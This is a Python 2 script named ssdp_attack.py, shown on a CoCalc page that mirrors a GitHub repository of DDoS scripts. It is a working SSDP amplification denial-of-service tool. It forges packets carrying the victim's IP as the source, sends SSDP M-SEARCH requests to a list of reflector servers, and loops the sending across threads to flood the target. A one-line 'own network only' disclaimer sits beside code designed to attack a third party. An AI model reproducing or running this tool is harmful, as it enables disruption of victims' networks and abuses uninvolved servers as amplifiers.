Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/ssdp_attack.py
4607 views
1
#!/usr/bin/env python
2
from scapy.all import *
3
import sys
4
import threading
5
import time
6
#SSDP Amp DOS attack
7
#usage ssdp.py <target ip> <ssdpserver list> <number of threads> ex: ssdp.py 1.2.3.4 file.txt 10
8
#FOR USE ON YOUR OWN NETWORK ONLY
9
10
11
#packet sender
12
def deny():
13
#Import globals to function
14
global ssdplist
15
global currentserver
16
global data
17
global target
18
ssdpserver = ssdplist[currentserver] #Get new server
19
currentserver = currentserver + 1 #Increment for next
20
packet = IP(dst=ssdpserver,src=target)/UDP(sport=1900,dport=1900)/Raw(load=data) #BUILD IT
21
send(packet,loop=1) #SEND IT
22
23
#So I dont have to have the same stuff twice
24
def printhelp():
25
print "SSDP Amplification DOS Attack"
26
print "By Metal"
27
print "Usage ssdpdos.py <target ip> <ssdp server list> <number of threads>"
28
print "ex: ssdpdos.py 1.2.3.4 file.txt 10"
29
print "SSDP serverlist file should contain one IP per line"
30
print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
31
exit(0)
32
33
if len(sys.argv) < 4:
34
printhelp()
35
#Fetch Args
36
target = sys.argv[1]
37
38
#Help out idiots
39
if target in ("help","-h","h","?","--h","--help","/?"):
40
printhelp()
41
42
ssdpserverfile = sys.argv[2]
43
numberthreads = int(sys.argv[3])
44
#System for accepting bulk input
45
ssdplist = []
46
currentserver = 0
47
with open(ssdpserverfile) as f:
48
ssdplist = f.readlines()
49
50
#Make sure we dont out of bounds
51
if numberthreads > int(len(ssdplist)):
52
print "Attack Aborted: More threads than servers"
53
print "Next time dont create more threads than servers"
54
exit(0)
55
56
#Magic Packet aka SSDP M-Search request Packet
57
data = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n"
58
59
#Hold our threads
60
threads = []
61
print "Starting to flood: "+ target + " using SSDP list: " + ssdpserverfile + " With " + str(numberthreads) + " threads"
62
print "Use CTRL+C to stop attack"
63
64
#Thread spawner
65
for n in range(numberthreads):
66
thread = threading.Thread(target=deny)
67
thread.daemon = True
68
thread.start()
69
70
threads.append(thread)
71
72
#In progress!
73
print "Sending SSDP requests..."
74
75
#Keep alive so ctrl+c still kills all them threads
76
while True:
77
time.sleep(1)
78